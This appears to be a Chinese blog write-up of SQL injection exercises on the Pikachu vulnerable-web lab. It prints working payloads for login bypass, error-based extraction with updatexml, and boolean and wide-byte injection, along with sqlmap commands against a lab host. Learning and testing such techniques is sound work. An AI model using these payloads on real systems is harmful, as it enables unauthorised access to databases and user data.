4.SQL注入

1.数字型注入

  1. 点击搜索,进行抓包
    在这里插入图片描述
  2. 修改id,判断注入类型

将id改为1’ ,根据报错信息,判断注入类型是数字型
在这里插入图片描述
3. 查询数据库名称、版本,注入成功
在这里插入图片描述

2.字符型注入

SELECT 字段1,字段2,from table where username= ’ xxx’
输入1‘,根据报错信息判断是字符型注入
在这里插入图片描述
2.输入万能密码**'or 1=1#**

Select * From 用户表 Where UserName=xxx 'or 1=1#

万能密码解释:or是或者的意思,也就是UserName=xxx的时候可以登录,也可以是1=1的时候可以登录,要知道,1永远等于1,所以登录条件永远成立,所以永远可以登录。(#代表注释掉后面的内容)
在这里插入图片描述

3. 搜索型注入

select * from table where username like '%xxx% '

  1. 输入单引号‘ ,查看报错信息,根据报错信息判断可以注入
    在这里插入图片描述
  2. 报错信息出现%,判断是搜索型注入,输入k% ' or 1=1#,进行查询
    在这里插入图片描述

4.XX型注入

where username = ('lucy')
输入1’)or 1=1#
在这里插入图片描述

5. insert/update注入

5.1 insert

  1. 注册,进行抓包
    在这里插入图片描述
  2. payload注入username
username=111' and updatexml(1,concat(0x7e,database(),0x7e),1) and '

这里在第二个and后使用单引号的目的是:111后的引号闭合sql语句数据前面的引号;and后的引号闭合sql语句数据最后的引号;

在这里插入图片描述
0x7e这个十六进制数代表符号这个符号在xpath语法中是不存在的,因此总能报错。同理,肯定也有其他字符是XPATH语法不支持的。 ! 也是不支持的,因此也可以使用。
在这里插入图片描述

  1. 成功爆破出数据库名
    在这里插入图片描述

5.2 update

  1. 点击修改个人信息
    在这里插入图片描述
  2. 抓包
    在这里插入图片描述
  3. payload注入sex
    在这里插入图片描述

6.delete 注入

payload: updatexml(1,concat(0x7e,database()),1)
在这里插入图片描述

7.http header注入

  1. admin/123456 进行登录
    在这里插入图片描述
    这里把http的头信息存到数据库里面去了,但是存进去之前没有进行转义,导致SQL注入漏洞

  2. 登陆时进行抓包
    在这里插入图片描述
    3.利用payload,修改头部信息

1' or  updatexml(1,concat(0x7e,database()),1) or '

在这里插入图片描述

8.盲注(base on boolian)

盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行半段或者尝试,这个过程称之为盲注。我们可以知道盲注分为以下三类:
基于布尔的SQL盲注-逻辑判断(优先级:2) regexp,like,ascii,left,ord,mid
基于时间的SQL盲注-延时判断(优先级:3) if,sleep 基于报错的SQL盲注-报错回显(优先级:1)
报错注入函数:floor,updatexml,extractvalue

布尔盲注往往是在不支持union查询或者回显页面不显示具体信息,只返回正常与不正常两种页面形式时进行的注入方法,通过使用and、or连接判断长度和ASCII码值的方式对数据库的信息进行判断。

name=1 正常回显
name=1’ 不报错,但提示用户名不存在
name=1’# 正常回显
判断该注入为布尔盲注,且闭合为单引号。

  1. payload:kobe' and length(database())>1# 判断数据库长度:即当数据库名长度是否大于1,若大于1则为真,回显正常。
    在这里插入图片描述
  2. 经过尝试,得知数据库长度为7,利用sqlmap工具爆破数据库名
sqlmap.py -u "http://124.220.31.77:8000/vul/sqli/sqli_blind_b.php?name=Tony&submit=%E6%9F%A5%E8%AF%A2" --current-db

爆破结果为pikachu
在这里插入图片描述

9.盲注(base on time)

利用sqlmap

"http://124.220.31.77:8000/vul/sqli/sqli_blind_t.php?name=kobe&submit=%E6%9F%A5%E8%AF%A2#" --current-db

在这里插入图片描述

10.宽字节注入

在数据库中使用了宽字符集(GBK,GB2312等),除了英文都是一个字符占两字节;
MySQL在使用GBK编码的时候,会认为两个字符为一个汉字(ascii>128才能达到汉字范围);
在PHP中使用addslashes函数的时候,会对单引号%27进行转义,在前边加一个反斜杠”\”,变成%5c%27;
可以在前边添加%df,形成%df%5c%27,而数据进入数据库中时前边的%df%5c两字节会被当成一个汉字;
%5c被吃掉了,单引号由此逃逸可以用来闭合语句。
使用PHP函数**iconv(‘utf-8’,‘gbk’,$_GET[‘id’]),**也可能导致注入产生

  1. 输入kobe‘进行抓包
    在这里插入图片描述

  2. payload:name=kobe%df’ or 1=1#
    在这里插入图片描述

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值